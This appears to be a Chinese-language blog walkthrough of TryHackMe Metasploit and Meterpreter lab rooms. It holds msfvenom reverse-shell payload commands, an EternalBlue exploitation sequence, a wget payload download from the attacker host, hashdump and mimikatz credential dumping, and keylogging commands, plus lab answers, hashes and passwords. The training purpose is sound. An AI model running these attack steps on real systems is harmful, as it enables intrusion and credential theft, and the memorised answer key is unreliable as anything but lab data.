Metasploit
Metasploit: Introduction
msfconsole
#主命令行界面
history
#查看之前输入的命令
RHOSTS
#目标靶机地址
use
#命令后跟编号来选择要使用的模块
show options
#查看
back
#离开
setg/unsetg
#全局变量
Metasploit: Exploitation
Port Scanning
使用以下命令可以查看许多关于扫描目标系统和网络上的开放端口的模板
search portscan
msf6 > search portscan
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
3 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
4 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner
1.How many ports are open on the target system?
我们使用nmap进行SYN扫描
nmap -sS --min-rate 10000 -Pn 10.10.217.98
ANSWER:5
2.Using the relevant scanner, what NetBIOS name can you see?
我们使用一下命令来查找有关NetBIOS相关的模块
search NetBIOS
我们使用第二个
use 2
设置目标靶机
set RHOSTS 10.10.217.98
执行模块
run
ANSWER: ACME IT SUPPORT
3.What is running on port 8000?
我们之前扫描到8000端口是一个http服务,我们使用这个模块进行扫描,同时设定靶机ip和端口
ANSWER:webfs/1.21
What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task
查看密码我们使用smb_login这个模块进行操作,然后show options查看我们需要设置的内容
ANSWER: leo1234
The Metasploit Database
Metasploit具有数据库功能,我们首先需要启动PostgreSQL,使用以下命令
systemctl start postgresql
然后我们使用以下命令来初始化Metasploit 数据库
msfdb init
就可以查看数据库状态了
db_status
使用以下指令可以创建新的工作区
workspace -a name
Vulnerability Scanning
1.Who wrote the module that allows us to check SMTP servers for open relay?
首先我们search SMTP,查询到有效负载scanner/smtp/smtp_relay
使用info查看具体信息
ANSWER: Campbell Murray
Exploitation
可以使用search
命令搜索漏洞利用程序,使用info
命令获取有关漏洞利用程序的更多信息,并使用exploit 启动exploit
利用。
大多数漏洞利用都会有预设的默认负载,但是可以使用show payloads
命令列出可用于该特定漏洞的其他命令。
一旦决定了有效负载,就可以使用set payload
命令来做出选择。
1.What is the content of the flag.txt file?
上文给出exploit为windows/smb/ms17_010_eternalblue和payload为generic/shell_reverse_tcp
我们search eternalblue,然后set payload
show options 一步一步设置走
最后执行exploit
成功进入
然后我们使用CTRL+Z
将其置于后台,使用 sessions -u [session ID]
升级会话
进入session2search -f flag.txt
就可以看到文件处于哪个目录了
ANSWER: THM-5455554845
2.What is the NTLM hash of the password of the user "pirate"?
我们先将此会话置于后台,search hashdump
ANSWER: 8ce9a3ebd1647fcc5e04025019f4b875
Msfvenom
Msfvenom 取代了 Msfpayload 和 Msfencode,允许我们生成有效负载
可以生成独立的有效负载(例如Meterpreter的 Windows 可执行文件)或获取可用的原始格式(例如 python)。 msfvenom --list formats
命令可用于列出支持的输出格式
与某些观点相反,编码器的目的并不是绕过目标系统上安装的防病毒软件。顾名思义,它们对有效负载进行编码。虽然它可以有效对抗某些防病毒软件,但使用现代混淆技术或学习方法注入 shellcode 是解决该问题的更好方法。下面的例子展示了编码的用法(带有-e
参数。PHP 版本的Meterpreter是采用Base64编码的,输出格式为raw
。
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
我们将利用 DVWA中存在的文件上传漏洞,漏洞利用步骤是:
1.使用 MSFvenom 生成PHP shell
2.启动Metasploit处理程序
3.执行PHP shell
我们首先生成文件
msfvenom -p php/reverse_php LHOST=10.21.66.31 LPORT=7777 -f raw > reverse_shell.php
再稍作修改,将php头和尾修改好
我们将使用 Multi Handler 来接收传入的连接。该模块可与 use exploit/multi/handler
命令。
一旦一旦一切设置完毕,我们将run
处理程序并等待传入连接。
反弹shell后,连接将被multi/handler接收并为我们提供一个shell
Other Payloads
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python:
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
1.启动附加到此任务的虚拟机。用户名是 murphy,密码是 1q2w3e4r。您可以通过 SSH 连接或在浏览器中启动这台机器。进入终端后,输入“sudo su”以获取 root shell,这将使事情变得更容易。
2.创建 .elf 格式的 meterpreter 有效负载
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.21.66.31 LPORT=7777 -f elf > rev_shell.elf
3.将其传输到目标机器(您可以使用 python3 -m http.server 9000 命令在攻击机器上启动 Python Web 服务器,并使用 wget http://ATTACKING_MACHINE_IP:9000/shell.elf 将其下载到目标机器) 。
4.在目标机器上获取 meterpreter 会话。
先赋权
先在攻击机上设置一番
然后,在目标机器上,执行rev_shell.elf文件
然后就有回显了
5.使用后利用模块转储系统上其他用户的哈希值。
6.其他用户的密码哈希是什么?
首先search hashdump
,选择post/linux/gather/hashdump
ANSWER: $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0
Metasploit: Meterpreter
Introduction to Meterpreter
Meterpreter 是一个 Metasploit 有效负载,通过许多有价值的组件支持渗透测试过程。 Meterpreter 将在目标系统上运行,并充当命令和控制架构中的代理。我们将与目标操作系统和文件进行交互,并使用 Meterpreter 的专用命令。
Meterpreter主要是防IPS和IDS检测,但防病毒不太行
在pid中和dll检测中较为隐蔽
meterpreter > getpid
Current pid: 1304
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
396 644 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\LogonUI.exe
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
428 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM
548 540 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
596 540 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe
604 588 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
644 588 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe
692 596 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe
700 692 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE
716 596 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe 1276 1304 cmd.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\cmd.exe
1304 692 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1340 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
1388 548 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\conhost.exe
可以发现并不是meterpreter
C:\Windows\system32>tasklist /m /fi "pid eq 1304"
tasklist /m /fi "pid eq 1304"
Image Name PID Modules
========================= ======== ============================================
spoolsv.exe 1304 ntdll.dll, kernel32.dll, KERNELBASE.dll,
msvcrt.dll, sechost.dll, RPCRT4.dll,
USER32.dll, GDI32.dll, LPK.dll, USP10.dll,
POWRPROF.dll, SETUPAPI.dll, CFGMGR32.dll,
ADVAPI32.dll, OLEAUT32.dll, ole32.dll,
DEVOBJ.dll, DNSAPI.dll, WS2_32.dll,
NSI.dll, IMM32.DLL, MSCTF.dll,
CRYPTBASE.dll, slc.dll, RpcRtRemote.dll,
secur32.dll, SSPICLI.DLL, credssp.dll,
IPHLPAPI.DLL, WINNSI.DLL, mswsock.dll,
wshtcpip.dll, wship6.dll, rasadhlp.dll,
fwpuclnt.dll, CLBCatQ.DLL, umb.dll,
ATL.DLL, WINTRUST.dll, CRYPT32.dll,
MSASN1.dll, localspl.dll, SPOOLSS.DLL,
srvcli.dll, winspool.drv,
PrintIsolationProxy.dll, FXSMON.DLL,
tcpmon.dll, snmpapi.dll, wsnmp32.dll,
msxml6.dll, SHLWAPI.dll, usbmon.dll,
wls0wndh.dll, WSDMon.dll, wsdapi.dll,
webservices.dll, FirewallAPI.dll,
VERSION.dll, FunDisc.dll, fdPnp.dll,
winprint.dll, USERENV.dll, profapi.dll,
GPAPI.dll, dsrole.dll, win32spl.dll,
inetpp.dll, DEVRTL.dll, SPINF.dll,
CRYPTSP.dll, rsaenh.dll, WINSTA.dll,
cscapi.dll, netutils.dll, WININET.dll,
urlmon.dll, iertutil.dll, WINHTTP.dll,
webio.dll, SHELL32.dll, MPR.dll,
NETAPI32.dll, wkscli.dll, PSAPI.DLL,
WINMM.dll, dhcpcsvc6.DLL, dhcpcsvc.DLL,
apphelp.dll, NLAapi.dll, napinsp.dll,
pnrpnsp.dll, winrnr.dll
可以发现并没有meterpreter
还值得注意的是,Meterpreter 会与攻击者的系统建立加密(TLS)通信通道。
Meterpreter Flavors
了解可用Meterpreter版本的最简单方法是使用 msfvenom 列出它们。
我们使用了msfvenom --list payloads
命令并 grep“meterpreter”有效负载(将| grep meterpreter
添加到命令行),因此输出仅显示这些。
msfvenom --list payloads | grep meterpreter
决定使用哪个版本的Meterpreter主要基于三个因素:
1.目标操作系统
2.目标系统上可用的组件
3.您可以与目标系统建立的网络连接类型
Meterpreter Commands
help查看
Post-Exploitation with Meterpreter
getuid
命令将显示当前运行Meterpreter的用户。这将使我们了解目标系统上可能的权限级别(例如,您是像 NT AUTHORITY\SYSTEM 这样的管理员级别用户还是普通用户?)
ps
命令将列出正在运行的进程。 PID列还将为我们提供将Meterpreter迁移到另一个进程所需的PID信息。
迁移到另一个进程将有助于Meterpreter与其交互。例如,如果我们看到目标上运行着一个文字处理器(例如 word.exe、notepad.exe 等),可以迁移到它并开始捕获用户发送到此进程的击键。某些Meterpreter版本将提供keyscan_start
、 keyscan_stop
和keyscan_dump
命令选项,使Meterpreter充当键盘记录器。迁移到另一个进程也可以帮助您获得更稳定的Meterpreter会话。
要迁移到任何进程,需要键入 migrate 命令,后跟所需目标进程的PID 。
meterpreter > migrate 716
[*] Migrating from 1304 to 716...
[*] Migration completed successfully.
hashdump
命令将列出 SAM 数据库的内容。 SAM(安全帐户管理器)数据库存储 Windows 系统上的用户密码。这些密码以 NTLM(新技术 LAN 管理器)格式存储。
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
search
命令对于查找包含潜在重要信息的文件非常有用。在 CTF 上下文中,这可用于快速查找标志或证明文件,而在实际的渗透测试活动中,您可能需要搜索用户生成的文件或可能包含密码或帐户信息的配置文件。
meterpreter > search -f flag2.txt
Found 1 result...
c:\Windows\System32\config\flag2.txt (34 bytes)
shell 命令将在目标系统上启动常规命令行 shell。按 CTRL+Z 将返回到Meterpreter shell。
meterpreter > shell
Process 2124 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
Post-Exploitation Challenge
Meterpreter提供了几个重要的后利用工具。
前面提到的命令,例如getsystem
和hashdump
将为权限升级和横向移动提供重要的杠杆和信息。还可以使用 load 命令来利用其他工具,例如 Kiwi 甚至整个 Python 语言。
使用load
命令加载任何其他工具后,我们将在help
菜单上看到新选项。下面的示例显示了为 Kiwi 模块添加的命令(使用load kiwi
命令)。
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
您可以使用下面的凭据来模拟对SMB (服务器消息块)的初始攻击(使用exploit/windows/smb/psexec)
1.计算机名称是什么?
先做端口扫描
nmap -sS -vv -Pn -p- --min-rate 10000 10.10.197.10
发现他并没有开启22(ssh)服务端口
根据题目提示使用SMB (服务器消息块)的初始攻击(使用exploit/windows/smb/psexec)
show options
查看需要设置的内容
进入meterpreter后,使用sysinfo
查看详细信息
ANSWER: ACME-TEST
2.What is the target domain?目标域是什么?
根据提示,我们需要使用post/windows/gather/enum_domain模块来获取target domain
首先将meterpreter置于后台,use post/windows/gather/enum_domain
设置会话id,set session 1
,然后run
ANSWER: FLASH
3.What is the name of the share likely created by the user?
用户可能创建的共享的名称是什么?
使用post/windows/gather/enum_shares
模块来查看
ANSWER: speedster
4.What is the NTLM hash of the jchambers user?
jchambers 用户的 NTLM 哈希值是什么?
根据提示,我们需要将会话迁移到lsass.exe
进程
首先在meterpreter会话中使用ps
列出正在运行的进程
使用migrate
迁移进程
migrate 760
然后运行hashdump
ANSWER: 69596c7aa1e8daee17f8e78870e25a5c
5.What is the cleartext password of the jchambers user?
jchambers 用户的明文密码是什么?
ANSWER: Trustno1
6.Where is the "secrets.txt" file located? (Full path of the file)
“secrets.txt”文件位于哪里? (文件的完整路径)
在meterpreter会话下使用以下命令查找
search -f secrets.txt
ANSWER: c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt
7.What is the Twitter password revealed in the "secrets.txt" file?
“secrets.txt”文件中透露的 Twitter 密码是什么?
直接cat
就好了
ANSWER: KDSvbsw3849
8.Where is the "realsecret.txt" file located? (Full path of the file)
“realsecret.txt”文件位于哪里? (文件的完整路径)
还是一样的套路
ANSWER: c:\inetpub\wwwroot\realsecret.txt
9.What is the real secret?
真正的秘密是什么?
一样的套路
ANSWER: The Flash is the fastest man alive
标签:Metasploit,exe,meterpreter,dll,THM,shell,ANSWER,Meterpreter From: https://www.cnblogs.com/kelec0ka/p/18473030